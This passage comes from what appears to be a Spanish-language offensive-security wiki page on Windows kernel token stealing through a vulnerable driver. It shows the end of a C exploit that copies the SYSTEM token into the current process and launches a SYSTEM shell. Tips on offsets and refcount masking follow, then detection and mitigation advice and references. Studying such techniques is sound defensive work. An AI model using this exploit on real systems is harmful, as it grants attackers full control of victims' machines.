} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
Notas:
- Desplazamientos: Usa WinDbgs `dt nt!_EPROCESS` con los PDBs del objetivo, o un runtime symbol loader, para obtener offsets correctos. No los codifiques a ciegas.
- Máscara: En x64 el token es un EX_FAST_REF; los 3 bits bajos son bits del contador de referencias. Conservar los bits bajos originales de tu token evita inconsistencias inmediatas en el refcount.
- Estabilidad: Prefiere elevar el proceso actual; si elevas un helper de corta duración puedes perder SYSTEM cuando termine.
## Detección y mitigación
- La carga de drivers de terceros no firmados o no confiables que exponen IOCTLs potentes es la causa raíz.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard y las reglas de Attack Surface Reduction pueden impedir que drivers vulnerables se carguen.
- EDR puede detectar secuencias sospechosas de IOCTL que implementen lectura/escritura arbitraria y token swaps.
## Referencias
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}